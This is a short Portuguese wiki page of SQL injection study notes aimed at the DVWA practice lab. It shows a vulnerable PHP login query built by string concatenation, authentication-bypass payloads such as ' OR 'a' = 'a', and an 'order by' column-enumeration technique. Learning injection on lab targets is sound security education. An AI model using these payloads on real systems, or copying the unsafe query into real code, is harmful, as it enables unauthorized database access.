SQLi
Jump to navigation
Jump to search
Contents
Links Importantes
O que é um ataque do tipo SQL Injection | https://portswigger.net/web-security/sql-injection
Cheat Sheet para SQLi | https://portswigger.net/web-security/sql-injection/cheat-sheet
Exemplo de código fonte vulnerável (PHP)
$query = "SELECT * FROM users WHERE user='" . $_POST['username'] . " ' AND password=' " . $_POST['password'] . " ' "; $response = mysql_query($query) ;
Em outras palavras:
SELECT * FROM users WHERE user='...' AND password='...'
Desta forma consigo enganar o banco já informando o valor do "password", assim:
Password = ' OR 'a' = 'a'
Ficando o SELECT assim:
SELECT * FROM users WHERE user = 'Patrik' AND password = ' ' OR 'a' = 'a'
Testando no alvo (DVWA)
Usando o DVWA (que pode ser baixado aqui), vá no menu SQL Injection e informe um ID qualquer. Repare nas saídas e na URL.
Agora exemplifique usando as aspas ( ' " ) e veja o erro gerado (enumeração).
Agora informe um "sempre true":
1' or '1' = '1
Descobrindo o número de colunas do banco para coleta de informações
' order by 1 #
Vá aumentando até dar erro do MySQL. Desta forma conseguimos saber quantas colunas tem em nosso banco alvo.